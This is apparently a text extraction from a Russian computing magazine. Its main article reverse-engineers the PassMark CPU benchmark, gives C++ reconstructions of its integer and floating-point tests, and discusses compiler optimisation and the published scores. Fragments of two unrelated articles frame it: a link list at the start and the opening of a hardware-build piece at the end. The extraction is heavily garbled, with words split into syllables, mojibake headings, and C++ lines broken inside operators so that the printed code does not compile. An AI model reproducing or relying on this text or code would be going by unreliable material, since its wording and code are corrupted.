трак та с кли ентом. Без это го рас простра нение подоб ных прог рамм может
при вес ти к печаль ным пос ледс тви ям, а не толь ко к лул зам.

https://www.litres.ru/author/pavel-yosifovich-17338297/
https://learn.microsoft.com/ru-ru/windows/win32/api/winbase/nf-winbase-getsystempowerstatus
https://github.com/vxunderground/VXUG-Papers/blob/main/Abusing%20the%20Windows%20Power%20Management%20API/src.cpp
https://learn.microsoft.com/en-us/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol
https://github.com/Microsoft/Windows-driver-samples/tree/main/setup/devcon
https://github.com/MzHmO/USB-Monitor
https://learn.microsoft.com/ru-ru/dotnet/api/system.management.wqleventquery?view=dotnet-plat-ext-8.0
https://learn.microsoft.com/en-us/windows/win32/inputdev/wm-input-device-change
https://github.com/xorrior/RandomPS-Scripts/blob/master/Get-DXWebcamVideo.ps1
https://github.com/snovvcrash/SharpDXWebcam
https://www.nuget.org/packages/Accord.Video/
https://gist.github.com/MzHmO/210e1b098930793913b8caae8c7c1c07
http://accord-framework.net/docs/html/T_Accord_Video_FFMPEG_VideoFileWriter.htm
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КОДИНГ

Су щес тву ют сот ни прог рамм для оцен ки
про изво дитель нос ти, но абсо лют ным
лидером сре ди них мож но наз вать
PassMark — «индус три аль ный стан дарт
с 1998 года», как его позици они рует сам
раз работ чик. На сай те прог раммы —
огромная база оце нок самых раз ных девай- 
сов. Давай пос мотрим, что находит ся
под капотом у леген дарной прог раммы
для бен чмар ков.

В этой статье мы изу чим алго рит мы тес тирова ния PassMark и вос про изве дем
их самос тоятель но на дру гих язы ках прог рамми рова ния, что бы получить
незави симую оцен ку про изво дитель нос ти.

ÎÁÙÈÉ ÎÁÇÎÐ ÐÀÁÎÒÛ PASSMARK

Ес ли зай ти на  PassMark, мы уви дим, что
прог рамма эта кросс-плат формен ная. На пер вый взгляд может показать ся,
что она собира ется из еди ной кодовой базы (по край ней мере, ядро
с набором бен чмар ков), одна ко это не так — исходный код, как и интерфейс,
силь но раз нятся от плат формы к плат форме. Тем не менее работа ющее
под управле нием раз ных ОС при ложе ние оце нива ет про изво дитель ность
при мер но оди нако во (в ходе ауди та мы про верим, так ли это на самом деле).

офи циаль ную стра ницу заг рузки

PassMark macOS

Windows

Windows-вер сия PassMark, к при меру, пред став лена в виде мно жес тва
исполня емых фай лов под каж дую груп пу тес тов, а вер сия для macOS —
как standalone-файл, содер жащий в себе сра зу все тес ты.

Фай ловая струк тура PassMark в Windows

При запус ке любого тес та при ложе ние PassMark вне зависи мос ти от плат- 
формы порож дает новые про цес сы в количес тве, соот ветс тву ющем чис лу
ядер про цес сора, для дос тижения мак сималь ной заг рузки CPU — по одно му
про цес су на каж дое ядро. Пос ле отра бот ки каж дого про цес са прог рамма
собира ет целочис ленные резуль таты для даль нейше го сум мирова ния.

Спо собы порож дения новых про цес сов на раз ных плат формах отли чают- 
ся. В macOS дела ется форк основно го про цес са PassMark, а в Windows
запус кает ся отдель ный про цесс  с парамет рами коман дной стро- 

ки, поз воля ющи ми кон тро лиро вать дли тель ность тес та по вре мени и чис ло
исполь зуемых ядер про цес сора:

PT-CPUTest

PT-CPUTest.exe [-slave|-standalone] [номер бенчмарка] [число ядер] [
длительность в миллисекундах] 

Это же отли чие, кста ти, поз воля ет задавать чис ло ядер в нас трой ках
Windows-вер сии прог раммы и не поз воля ет в macOS.

Та ким обра зом, спо соб запус ка любого бен чмар ка PassMark сво дит ся
к запус ку N про цес сов, где N — чис ло ядер CPU, ожи данию завер шения всех
про цес сов и сум мирова нию целочис ленных резуль татов от них (где каж дый
резуль тат в сред нем равен , но это не всег да

так, о чем мы еще погово рим). Сум марный резуль тат — это и есть то, что
PassMark отоб ража ет в  для каж дого устрой ства.

суммарному результату / N

сво ей пуб личной базе

ÀËÃÎÐÈÒÌ ÐÀÁÎÒÛ ÁÅÍ×ÌÀÐÊÎÂ

Что бы пос мотреть, как устро ены алго рит мы бен чмар ков, нуж но заг рузить
исполня емый файл PassMark в любой дизас сем блер.

Все бен чмар ки внут ри PassMark вне зависи мос ти от плат формы орга низо- 
ваны сле дующим обра зом: по номеру бен чмар ка запус кает ся нуж ный тест.
Дизас сем бли рован ный код, запус кающий тес ты PassMark, выг лядит сле- 
дующим обра зом.

Ди зас сем бли рован ный код запус ка тес тов PassMark

Каж дый бен чмарк, в свою оче редь, орга низо ван так: запус кает ся цикл дли- 
тель ностью в задан ное количес тво мил лисекунд (обыч но 6000), на каж дой
ите рации бен чмар ка про изво дит ся некото рое количес тво вычис литель ных
опе раций (полез ная наг рузка), а в кон це цик ла сум ма про изве ден ных опе- 
раций делит ся на вре мя по сле дующей фор муле:

результат на одно ядро = суммарное количество выполненных 
вычислительных операций / затраченное время в микросекундах 

Та ким обра зом, все резуль таты бен чмар ков на скрин шоте ниже — это не что
иное, как количес тво вычис литель ных опе раций опре делен ного типа (зависит
от бен чмар ка) в мик росекун ду на задан ном чис ле ядер про цес сора (по умол- 
чанию — на всех ядрах).

Ре зуль таты бен чмар ков

Продолжение статьи →

mailto:antochi.anton@ya.ru
https://www.passmark.com/products/performancetest/download.php
https://www.cpubenchmark.net/cpu_list.php


ИССЛЕДУЕМ ПОПУЛЯРНЫЙ
БЕНЧМАРК И ПИШЕМ СВОИ ТЕСТЫ

КОДИНГ  НАЧАЛО СТАТЬИ←

ÂÎÑÏÐÎÈÇÂÅÄÅÍÈÅ ÊÎÄÀ ÁÅÍ×ÌÀÐÊÎÂ

Прис тупа ем к самому инте рес ному. Возь мем пару бен чмар ков со скрин шота
выше —  и . Вос про изво дить
любые тес ты луч ше все го на низ коуров невом язы ке прог рамми рова ния
без вир туаль ной машины, что бы сок ратить вычис литель ные зат раты на тран- 
сля цию кода из IL в натив ный код, которая сни зит ито говый резуль тат бен- 
чмар ков. Далее мы срав ним резуль таты бен чмар ков, реали зован ных на C# (с
IL), а пока оста новим ся на C++ (без IL).

IntegerMathTest FloatingPointMathTest

Код бен чмар ка  (С++) будет выг лядеть так:IntegerMathTest

#include <iostream>
#include <vector>
#include <random>
#include <chrono>

  int main() {
   // Время работы бенчмарка по умолчанию
       long long milliseconds = 6000;
   // Размер буфера чисел для бенчмарка в тесте (нужен, чтобы 
избежать работы L1/L2/L3-кеша процессора)
      int randomBufferSize = 20000;

   // Заполнение буфера 32-битных чисел для участия в бенчмарке
    std::vector<int> mem1;
    std::mt19937 rnd1(777);
            for (int n = 0; n < randomBufferSize; n++) {

              int a = static_cast<int>(rnd1() % INT_MAX) << 17;
            int b = static_cast<int>(rnd1() % INT_MAX);
            int r = a + b;

             mem1.push_back(r == 0 ? 1 : r);
   }

   // Заполнение буфера 64-битных чисел для участия в бенчмарке
     std::vector<long long> mem2;
    std::mt19937 rnd2(777);
            for (int n = 0; n < randomBufferSize; n++) {

                long long a = static_cast<long long>(rnd2() % INT_MAX) << 15;
          

 
       long long b = (a + static_cast<long long>(rnd2() % INT_MAX))
<< 15;

          
 

       long long c = (b + static_cast<long long>(rnd2() % INT_MAX))
<< 15;

              long long d = static_cast<long long>(rnd2() % INT_MAX);
             long long r = c + d;

             mem2.push_back(r == 0 ? 1 : r);
   }

   // Числа, участвующие в бенчмарке, вынесены из цикла, чтобы не 
тратить ресурсы на выделение памяти на каждой итерации
      int mem_index = 0;
       long long v27 = 0;
       const int addSubOpsCount = 1000;
       const int mulDivOpsCount = 500;
          int v11, v17, v4, v10, v12, v13, v18;
           long long v15, v16, v14, v8, v9, v31, i;

   // Таймер для подсчета прошедшего времени
      auto start_time = std::chrono::high_resolution_clock::now();

    while (true)
   {
       // Значения для 32-битного эксперимента

           v4 = mem1[mem_index + 1];
           v10 = mem1[mem_index + 0];
           v11 = mem1[mem_index + 2];
           v12 = mem1[mem_index + 3];
           v13 = mem1[mem_index + 4];
           v17 = mem1[mem_index + 5];
         v18 = v4;

       // Значения для 64-битного эксперимента
           v14 = mem2[mem_index + 0];

           v8 = mem2[mem_index + 1];
           v15 = mem2[mem_index + 2];
           v31 = mem2[mem_index + 3];

         i = v31;
           v9 = mem2[mem_index + 4];
           v16 = mem2[mem_index + 5];

               mem_index = (mem_index + 6) % (randomBufferSize - 6);

          int v19 = addSubOpsCount;

       // 32-битный эксперимент: сложение/вычитание (66 операций)
        do {

               
       
           v10 = (~(v11 + (v18 ^ ((v11 & (v11 + ((v11 - v18 + v10) <
< 8))) - v18))) - v18) | 0x337;

               
       
           v12 = (~(v17 + (v13 ^ ((v17 & (v17 + ((v17 - v13 + v12) <
< 8))) - v13))) - v13) | 0x337;

               
       
           v18 = (~(v11 + (v10 ^ ((v11 & (v11 + ((v11 - v10 + v18) <
< 8))) - v10))) - v10) | 0x1C9;

               
       
           v13 = (~(v17 + (v12 ^ ((v17 & (v17 + ((v17 - v12 + v13) <
< 8))) - v12))) - v12) | 0x1C9;

               
       
           v11 = (~(v10 + (v18 ^ ((v10 & (v10 + ((v10 + v11 - v18) <
< 8))) - v18))) - v18) | 0x2A1;

               
       
           v17 = (~(v12 + (v13 ^ ((v12 & (v12 + ((v12 + v17 - v13) <
< 8))) - v13))) - v13) | 0x2A1;
           --v19;

           } while (v19 > 0);

           long long v20 = addSubOpsCount;
           long long i = v31;

       // 64-битный эксперимент: сложение/вычитание (66 операций)
             for (; v20 > 0; --v20) {

                
      

           v14 = (~(v15 + (v8 ^ ((v15 & (v15 + ((v15 - v8 + v14) <<
8))) - v8))) - v8) | 0x337;

                 
     
           i = (~(v16 + (v9 ^ ((v16 & (v16 + ((v16 - v9 + i) << 8)))
- v9))) - v9) | 0x337;

                
      

           v8 = (~(v15 + (v14 ^ ((v15 & (v15 + ((v15 - v14 + v8) <<
8))) - v14))) - v14) | 0x1C9;

                 
     
           v9 = (~(v16 + (i ^ ((v16 & (v16 + ((v16 - i + v9) << 8)))
- i))) - i) | 0x1C9;

                
      

           v15 = (~(v14 + (v8 ^ ((v14 & (v14 + ((v14 + v15 - v8) <<
8))) - v8))) - v8) | 0x2A1;

                  
    

           v16 = (~(i + (v9 ^ ((i & (i + ((i + v16 - v9) << 8))) -
v9))) - v9) | 0x2A1;
       }

          int v22 = mulDivOpsCount;

       // 32-битный эксперимент: умножение/деление (10 операций)
        do {

                         v11 = v18 | (v18 * v10 * v11 * v10 * v11 / v10);
                         v17 = v13 | (v13 * v12 * v17 * v12 * v17 / v12);

           --v22;
           } while (v22 > 0);

       // 64-битный эксперимент: умножение/деление (10 операций)
                for (int j = mulDivOpsCount; j > 0; --j) {

                         v15 = v8 | (v8 * v14 * v15 * v14 * v15 / v14);
                         v16 = v9 | (v9 * i * v16 * i * v16 / i);

       }

       // Суммирование всех операций за итерацию (66 — сложение/
вычитание, 10 — умножение/деление)

          
  

       v27 += 66 * (addSubOpsCount + addSubOpsCount) + 10 * (
mulDivOpsCount + mulDivOpsCount);

       // Если время бенчмарка подошло к концу, выйти из цикла
   

  
       auto elapsed = std::chrono::duration_cast<std::chrono::
milliseconds>(std::chrono::high_resolution_clock::now() - start_time)
.count();

           if (elapsed >= milliseconds) {
           break;
       }
   }

      auto end_time = std::chrono::high_resolution_clock::now();
      

  
auto elapsed = std::chrono::duration_cast<std::chrono::

milliseconds>(end_time - start_time).count();

   // Итоговый результат = число операций в микросекунду
          double result = (static_cast<double>(v27) / elapsed) / 1000.0;

   // Выводим все значения,
       // чтобы компилятор не срезал вычисления в ходе оптимизации
         std::cout << "IntegerMath Test: " << result << " | "

                     << v11 + v17 + v4 + v10 + v12 + v13 + v18 +
                     v15 + v16 + v14 + v8 + v9 + v31 + i << std::endl;

   std::cin.get();
    return 0;
}

А вот код бен чмар ка  (С++):FloatingPointMathTest

#include <iostream>
#include <vector>
#include <random>
#include <chrono>

  int main() {
   // Время работы бенчмарка по умолчанию
       long long milliseconds = 6000;
   // Размер буфера чисел для бенчмарка в тесте (нужен, чтобы 
избежать работы L1/L2/L3-кеша процессора)
      int randomBufferSize = 20000;

   // Заполнение 32-битных чисел с плавающей запятой (float) для 
участия в бенчмарке
    std::vector<float> mem1;
    std::mt19937 rnd1(777);
            for (int n = 0; n < randomBufferSize; n++) {

              float a = static_cast<float>(rnd1() % INT_MAX) * 1000.0f;
              float b = static_cast<float>(rnd1() % INT_MAX) + a;
                float c = static_cast<float>(rnd1() % INT_MAX) / 10000.0f + b

;
             mem1.push_back(c == 0.0f ? 1.0f : c);

   }

   // Заполнение 64-битных чисел с плавающей запятой (double) для 
участия в бенчмарке
    std::vector<double> mem2;
    std::mt19937 rnd2(777);
            for (int n = 0; n < randomBufferSize; n++) {

              double a = static_cast<double>(rnd2() % INT_MAX) * 1000.0;
              double b = static_cast<double>(rnd2() % INT_MAX) + a;
                double c = static_cast<double>(rnd2() % INT_MAX) / 10000.0 +

b;
             mem2.push_back(c == 0.0 ? 1.0 : c);

   }

   // Числа, участвующие в бенчмарке, вынесены из цикла, чтобы не 
тратить ресурсы на выделение памяти на каждой итерации
       long long v4 = 0;
       float v11, r1 = 0.0f;
       double v10, r2 = 0.0;
      int v5 = 300;
      int v6 = 0;
      int v7, v8, v9;

   // Таймер для подсчета прошедшего времени
      auto start_time = std::chrono::high_resolution_clock::now();

     while (true) {
         v7 = v6;
           v8 = v6 + 1;
         v9 = v8;
           v6 = v8 + 1;
         v10 = mem2[v9];
         v11 = mem1[v9];

       // 32-битный эксперимент: сложение/вычитание/умножение/
деление (20 операций)

           
                    
           

       r1 = (((((((((((((((((((v11 + mem1[v7]) - v11) * v11) + v11)
- v11) * v11) + v11) - v11) * v11) / v11) + v11) - v11) * v11) + v11)
- v11) * v11) + v11) - v11) * v11) / v11;
       // 64-битный эксперимент: сложение/вычитание/умножение/
деление (20 операций)

                
                      
    

       r2 = ((((((v10 + mem2[v7] - v10) * v10 + v10 - v10) * v10 +
v10 - v10) * v10 / v10 + v10 - v10) * v10 + v10 - v10) * v10 + v10 -
v10) * v10 / v10;

       // Суммирование всех операций за итерацию (20 + 20)
         v4 += 40;

       // Бессмысленная проверка r1 и r2, чтобы компилятор не 
срезал полезные вычисления в ходе оптимизации

             if(r1 == 0 && r2 == 0){
           break;
       }

           if (--v5 == 0) {
           // Если время бенчмарка подошло к концу, выйти из цикла

   
  

           auto elapsed = std::chrono::duration_cast<std::chrono::
milliseconds>(std::chrono::high_resolution_clock::now() - start_time)
.count();

               if (elapsed >= milliseconds) {
               break;
           }

             v5 = 300;
       }

           if (v6 >= 20000) {
             v6 = 0;

       }
   }

      auto end_time = std::chrono::high_resolution_clock::now();
      

  
auto elapsed = std::chrono::duration_cast<std::chrono::

milliseconds>(end_time - start_time).count();

   // Итоговый результат = число операций в микросекунду
          double result = (static_cast<double>(v4) / elapsed) / 1000.0;

   // Выводим числа r1 и r2, чтобы компилятор не срезал полезные 
вычисления в ходе оптимизации
            
     
std::cout << "FloatingPointMath Test: " << result << " | " << r1

<< ", " << r2 << std::endl;
   getchar();

    return 0;
}

Код был вос ста нов лен на осно ве реверс-инжи нирин га PassMark под Windows
и macOS. Оба бен чмар ка по струк туре кода очень похожи. Уни вер саль ный
алго ритм выг лядит так:
1. За пол нить буфер слу чай ными чис лами, что бы от ите рации к ите рации

резуль таты вычис лений не .ке широ вались внут ри CPU
2. За пус тить цикл на 6 секунд, в ходе каж дой ите рации которо го:

со вер шить N 32-бит ных опе раций;•
со вер шить M 64-бит ных опе раций;•
уве личить счет чик совер шенных опе раций на N + M.•

3. Пос читать чис ло опе раций в мик росекун ду (по фор муле выше).

Здесь есть нес коль ко замеча ний, которые могут быть любопыт ны всем, кто
инте ресу ется срав нимостью оцен ки меж ду раз личны ми устрой ства ми.
1. Раз работ чики PassMark учли, что кеш про цес сора сре жет реаль ные вычис- 

ления, из-за чего резуль таты будут недос товер ны. Что бы обой ти это,
на каж дой ите рации цик ла их код избы точ но обра щает ся к опе ратив ной
памяти (буферу чисел), что при боль шом количес тве ите раций (а их мно- 
го!) при ведет к нес коль ко занижен ным резуль татам тес та. У раз ных
устрой ств раз ная ско рость обра щения к ОЗУ.

2. Под счет опе раций про изво дит ся слиш ком усреднен но: сме шива ются
в одну кучу 32- и 64-бит ные опе рации сло жения, вычита ния, умно жения
и деления, хотя на уров не язы ка ассем бле ра эти опе рации, конеч но же,
нерав нознач ны — в иде але их нуж но сум мировать с коэф фици ентом друг
отно ситель но дру га. Про цес соры раз ных устрой ств могут быть опти мизи- 
рова ны под опре делен ные типы опе раций.

Продолжение статьи →
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ИССЛЕДУЕМ ПОПУЛЯРНЫЙ
БЕНЧМАРК И ПИШЕМ СВОИ ТЕСТЫ

КОДИНГ  НАЧАЛО СТАТЬИ←

ÑÐÀÂÍÅÍÈÅ ÐÅÇÓËÜÒÀÒÎÂ

Вос ста нов ленный код работа ет в один поток (на одном ядре), а PassMark
запус кает этот же код, рас парал леливая его в соот ветс твии с количес твом
ядер про цес сора, поэто му для срав нения резуль татов необ ходимо либо зас- 
тавить PassMark запус кать ся в одно ядер ном режиме, либо запус кать наш код
в нес коль ких потоках. Пер вый вари ант выг лядит более прив лекатель ным —
это не соз дает избы точ ную наг рузку.

Так как набор фун кций PassMark отли чает ся на раз ных плат формах,
для каж дой из них надо будет искать свой метод запус ка на одном ядре.
В Windows, нап ример, мож но задать чис ло потоков (про цес сов, ядер) в нас- 
трой ках интерфей са PassMark. В macOS при дет ся «обма нывать» PassMark
внеш ними спо соба ми — отклю чая ядра про цес сора из тер минала:

// Отключить все, кроме одного главного ядра
           for I in `seq 0 48`; do sudo cpuctl offline $I; done;

// Включить все ядра обратно
           for I in `seq 0 48`; do sudo cpuctl online $I; done;

На дру гих плат формах нуж но искать что-то свое. Но ско рее все го, метод
для macOS будет работать вез де, где получит ся най ти аль тер нативу коман де

.cpuctl
До бив шись запус ка на одном ядре, мы уви дим при мер но оди нако вые

резуль таты бен чмар ков.

Ре зуль таты бен чмар ков в «одно ядер ном» режиме

Ре зуль таты тес тов вос ста нов ленно го кода на C++ сош лись с резуль татами
PassMark на том же компь юте ре прак тичес ки иде аль но. Но что бы дос тичь это- 
го, недос таточ но прос то закинуть код C++ в любую IDE и ском пилиро вать.
Ког да совер шают ся мил лиар ды ите раций, каж дая допол нитель ная опе рация
в цик ле и «телод вижение» ком пилято ра могут выз вать «эффект бабоч ки»
на пути к обще му резуль тату.

ÈÃÐÛ Ñ ÊÎÄÎÌ ÁÅÍ×ÌÀÐÊÎÂ È ÎÑÎÁÅÍÍÎÑÒÈ ÐÀÁÎÒÛ
ÑÎÂÐÅÌÅÍÍÛÕ ÊÎÌÏÈËßÒÎÐÎÂ

Код, написан ный на C++, ком пилиру ется в язык ассем бле ра и име ет, соот- 
ветс твен но, не мень ше раз личных «машин ных» пред став лений, чем сущес тву- 
ет архи тек тур про цес соров (язы ков ассем бле ра). На прак тике про изво- 
дитель ность ском пилиро ван ного ассем блер ного кода зависит от еще боль- 
шего чис ла парамет ров.

Êîìïèëÿòîð
Раз ные ком пилято ры генери руют раз личный машин ный код из-за раз личий
алго рит мов пос тро ения .AST-дерева

Îïöèè êîìïèëÿòîðà
Сов ремен ные IDE поз воля ют варь иро вать тип сбор ки ( / ).
Debug-сбор ка отклю чает любые  для более удоб- 
ной отладки, в то вре мя как release-сбор ка вклю чает самые важ ные опти миза- 
ции, но далеко не все воз можные. Из-за задей ство ван ных опти миза ций ком- 
пилято ра про изво дитель ность одно го и того же кода на C++ может отли чать- 
ся в три-четыре раза!

debug release
оп тимиза ции ком пилято ра

Раз ные IDE име ют раз личные дефол тные нас трой ки опти миза ции: в Visual
Studio у режима  по умол чанию вто рой уро вень опти миза ции ( ),

а IDE CLion — тре тий ( ), из-за чего сле дующий код бен чмар ка

 необ ходим для CLion, но необя зате лен для Visual
Studio:

release -O2
-O3

FloatingPointMathTest

...
// Бессмысленная проверка r1 и r2, чтобы компилятор не срезал 
полезные вычисления в ходе оптимизации

      if(r1 == 0 && r2 == 0){
   break;
}
...

Этот код обя зыва ет опти миза тор ком пилято ра CLion выпол нять вычис ления
 и  на каж дой ите рации цик ла. Если же ука зан ный блок убрать, в ассем- 

блер ном коде вычис ление  и  выпол нится толь ко на пос ледней ите рации,

а на пре дыду щих будут прос читывать ся лишь перемен ные 

для пос ледней ите рации, то есть нап рочь сре жут ся все полез ные вычис- 
ления, оце нива ющие про изво дитель ность CPU.

r1 r2
r1 r2

v7... v11

Сле дующий код уже необ ходим для любого уров ня опти миза ции >= ,

пос коль ку ком пилятор в ходе опти миза ции выб расыва ет все перемен ные,
которые никак не исполь зуют ся:

-O2

...
// Выводим все значения, чтобы компилятор не срезал вычисления в 
ходе оптимизации

      std::cout << "IntegerMath Test: " << result << " | "
                 << v11 + v17 + v4 + v10 + v12 + v13 + v18 +
                 v15 + v16 + v14 + v8 + v9 + v31 + i << std::endl;
...

Ско рее все го, PassMark был ском пилиро ван с опци ей опти миза ции , что
было под твержде но эмпи ричес ки. В ито ге резуль таты бен чмар ков сош лись
с резуль татами, получен ными с исполь зовани ем вос ста нов ленно го кода.

-O2

Ñòðóêòóðà êîäà
Каж дая избы точ ная опе рация в вос ста нов ленном коде (любое допол нитель- 
ное усло вие, обра щение к памяти, матема тичес кая про цеду ра) наруша ет
резуль таты тес тов. Раз работ чики PassMark уже порабо тали с кодом сво их
бен чмар ков за нас и сумели орга низо вать его струк туру опти маль но. Рас- 
смот рим нес коль ко инте рес ных фраг ментов.

В  алго ритм под сче та индекса буфера орга низо ван

таким обра зом:

IntegerMathTest

        mem_index = (mem_index + 6) % (randomBufferSize - 6);

А в  — таким:FloatingPointMathTest

    v8 = v6 + 1;
    v6 = v8 + 1;

...
    if (v6 >= 20000) {
     v6 = 0;
}

Ес ли в  сде лать так же, как в , про- 
изво дитель ность пада ет на 3–5%. А если в  так же, как в

, про изво дитель ность не меня ется.

FloatingPointMathTest IntegerMathTest
IntegerMathTest

FloatingPointMathTest
Дру гой при мер — урод ливые ревер сивные цик лы в :IntegerMathTest

     do {} while (v19 > 0);
...

      for (; v20 > 0; --v20) {}
...
     do {} while (v22 > 0);

...
         for (int j = mulDivOpsCount; j > 0; --j) {

Ес ли их сде лать кра сивы ми — ,

то про изво дитель ность ском пилиро ван ного кода при про чих рав ных обру- 
шит ся на 15%!

for (int j = 0; j<mulDivOpsCount; j++)

Кста ти говоря, то, что про ход цик ла в обратном нап равле нии может зна- 
читель но уве личи вать про изво дитель ность, извес тно уже дав но (и раз работ- 
чикам PassMark, оче вид но, тоже). Еще в далеком 2014 году этот при ем раз- 
бирал ся в 

 для язы ка JavaScript — каким бы высоко уров невым ни был язык,
а прос тые опе рации вро де усло вий и цик лов все рав но кон верти руют ся
в при мер но оди нако вый машин ный код.

статье «Повыша ем про изво дитель ность кли ент ской час ти веб-при- 
ложе ния»

ÑÐÀÂÍÅÍÈÅ ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÈ ßÇÛÊÎÂ
ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß Ñ ÏÎÌÎÙÜÞ ÁÅÍ×ÌÀÐÊÎÂ

Имея на руках вос ста нов ленный код бен чмар ков PassMark, мы можем исполь- 
зовать его для любых сво их экс тра ваган тных нужд, в том чис ле для срав нения
про изво дитель нос ти язы ков прог рамми рова ния.

Возь мем для при мера си-подоб ный язык с вир туаль ной машиной и IL —
C# — и оце ним, нас коль ко в нем работа с целыми и дроб ными чис лами мед- 
леннее, чем в натив ном C++.

Прог ресс пре под носит мно го при ятных сюр при зов, недос тупных еще пару
лет назад, а потому для «перево да» C++ в C# боль ше не нуж но думать — дос- 
таточ но поп росить это сде лать за нас ChatGPT, который справ ляет ся с подоб- 
ными задача ми пре вос ходно. Получив код бен чмар ков на C#, ком пилиру ем
его в release-режиме и оце нива ем резуль таты.

Срав нива ем C# и C++

Ус реднен ный резуль тат десяти тес тов показал, что про изво дитель ность C#
(язык с IL) на 6–8% ниже по срав нению с C++ (язык без IL) с точ ки зре ния чис- 
ловых опе раций. Из-за это го отли чия для вос про изве дения кода бен чмар ков
и был изна чаль но выб ран C++.

ÂÛÂÎÄÛ

До начала иссле дова ния PassMark у меня было нес коль ко иное пред став- 
ление об орга низа ции его кода: так как код бен чмар ков дол жен быть оди- 
нако вым вне зависи мос ти от плат формы (для срав нимос ти резуль татов
по пуб личной базе), казалось бы, наибо лее пра виль ный спо соб его орга- 
низа ции — обо соб ление в динами чес ки под клю чаемые биб лиоте ки, которые
сущес тву ют во всех под держи ваемых при ложе нием плат формах. Одна ко раз- 
работ чики пред почли под каж дую плат форму выпус кать про дукт с нуля, делая
руч ной копипаст кода бен чмар ков в плат формен но зависи мый вари ант прог- 
раммы. Это при водит к тому, что для каж дого бен чмар ка необ ходимо про- 
водить отдель ный аудит на раз ных плат формах, что бы убе дить ся, что он дей- 
стви тель но вез де работа ет оди нако во.

В этой статье аудит был сде лан для двух клю чевых тес тов CPU —
 и  на плат формах Windows

и macOS. По его резуль татам мож но в целом пред положить, что внут ри оди- 
нако вых бен чмар ков на раз ных плат формах находит ся оди нако вый код,
не зат ронутый опти миза тором кон крет ного ком пилято ра и спе цифи кой плат- 
формен ного ассем бле ра.

IntegerMathTest FloatingPointMathTest

И отдель ного вни мания зас лужива ют пуб личные резуль таты бен чмар ков
PassMark. Как уже упо мина лось выше, резуль тат любого бен чмар ка —
это прос то сум ма опе раций за мик росекун ду со всех запущен ных дочер них
про цес сов в количес тве ядер про цес сора. Но что, если запус тить про цес сов
боль ше, чем у про цес сора име ется ядер?

Возь мем для при мера резуль таты тес тов PassMark на 1, 24, 48 и 64 потока
для экспе римен таль ного 24-ядер ного Core I9-13950Hx, которые уже час тично
демонс три рова лись ранее.

Ре зуль таты тес тов PassMark на 1, 24, 48 и 64 потока

С их помощью мож но уви деть нес коль ко инте рес ных момен тов работы
PassMark и сов ремен ных про цес соров:
1. Ре зуль таты на 24 ядра не рав ны резуль татам на одно ядро, умно жен ным

на 24. Это про исхо дит из-за того, что ядра сов ремен ных про цес соров
не иден тичны по про изво дитель нос ти — ядра делят ся на 

.
performance

и efficient
2. Опе рации с дроб ными чис лами в один поток могут быть быс трее опе- 

раций с целыми чис лами в один поток на некото рых про цес сорах. Наибо- 
лее веро ятное объ ясне ние это му — устрой ство performance-ядер кон- 
крет ного про цес сора.

3. Ес ли запус тить потоков боль ше, чем ядер про цес сора, резуль таты бен- 
чмар ка уве личат ся на 10–25%. Это покажет нас тоящую про изво дитель- 
ность про цес сора под 100%-й наг рузкой, и она не будет соот ветс тво вать
той, что мож но уви деть в пуб личной базе дан ных PassMark. Пуб личная
база PassMark собира ется с устрой ств по все му миру со стан дар тны ми
нас трой ками прог раммы PassMark.

4. Ес ли запус тить еще боль ше потоков, резуль таты осо бо не улуч шатся, что
сви детель ству ет о пол ной заг рузке про цес сора.

Та ким обра зом, мож но резюми ровать, что раз работ чики PassMark изрядно
пос тарались соз дать наибо лее уни вер саль ную оцен ку про изво дитель нос ти
раз личных устрой ств по все му миру. Но в реаль нос ти же устрой ства могут
быть на 10–25% мощ нее усреднен ной пуб личной оцен ки, а заложен ный
в осно ву бен чмар ков алго ритм «заг рязнен» побоч ными опе раци ями,
еще боль ше занижа ющи ми реаль ную оцен ку.

В любом слу чае, имея на руках алго ритм любого бен чмар ка PassMark
и пуб личную базу резуль татов с мил лиона ми устрой ств, мож но про водить
доволь но инте рес ные иссле дова ния, нап ример:
1. Сколь ко целочис ленных опе раций на C# в сре де Mono из Unity смо жет

выпол нить ? А нас коль ко боль ше, если перепи сать код
на C++? Сто ит ли оно того?

iPhone 14 Pro Max

2. Ка кой луч ше выб рать язык для раз работ ки сер верно го при ложе ния с боль- 
шим чис лом опе раций с пла вающей точ кой на базе про цес сора 

: Python или JavaScript?
Xeon

Bronze 3204

На эти и дру гие подоб ные воп росы мож но будет получить ответ путем нехит- 
рых манипу ляций с резуль татами тес тов, выпол ненных с исполь зовани ем раз- 
ных язы ков прог рамми рова ния и устрой ств.

https://en.wikipedia.org/wiki/Abstract_syntax_tree
https://www.ibm.com/docs/en/aix/7.2?topic=implementation-optimization-levels
https://xakep.ru/2014/07/22/speedup-client-javascript/
https://www.assured-systems.com/us/faq/what-is-the-difference-between-p-core-and-e-core-processors
https://www.iphonebenchmark.net/phone.php?phone=Apple+iPhone+14+Pro+Max
https://www.cpubenchmark.net/cpu.php?cpu=Intel+Xeon+Bronze+3204+%40+1.90GHz&id=3649
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Од нажды мне понадо бил ся компь ютер
для кван тово-химичес ких рас четов, и я пос- 
тавил перед собой цель самос тоятель но
соб рать машину, которая впи салась бы
в бюд жет 100–150 тысяч руб лей. Одна ко
этот компь ютер неп лохо под ходит и для
дру гих задач, поэто му ради экспе римен та
поп робу ем поб рутить на нем хеши.

Все пер сонал ки, ори енти рован ные на слож ные вычис ления, име ют силь ный
перекос в сто рону количес тва памяти, как опе ратив ной, так и дис ковой.
В сво ем про екте я при менил ряд спор ных решений, обус ловлен ных желани ем
сох ранить баланс меж ду апгрей доп ригод ностью, вычис литель ной мощ- 
ностью и ценой. Что из это го получи лось, я под робно рас ска жу в сегод- 
няшней статье.

ÍÀ ×ÅÌ ÑÅÉ×ÀÑ Ñ×ÈÒÀÞÒ

Спе циаль но для науч ных вычис лений соз даны супер компь юте ры, нап ример
супер компь ютер Кур чатов ско го инсти тута или «Ломоно сов-2» в МГУ.
Под рас четы обыч но выделя ют одну ноду, и это в целом весь ма недур ной
вари ант. Но тут есть и свои нюан сы, ска жем при вяз ка к опре делен ному соф ту
и некото рые адми нис тра тив ные момен ты. С дру гой сто роны, и плюс солид- 
ный — не надо нас тра ивать сре ду.

Мно гие исполь зуют свои вычис литель ные мощ ности, и тут мож но встре- 
тить целый зоопарк раз нооб разных устрой ств. Обыч но это что-то напоми- 
нающее ноду супер компь юте ра, то есть одно- или двух про цес сорная сис- 
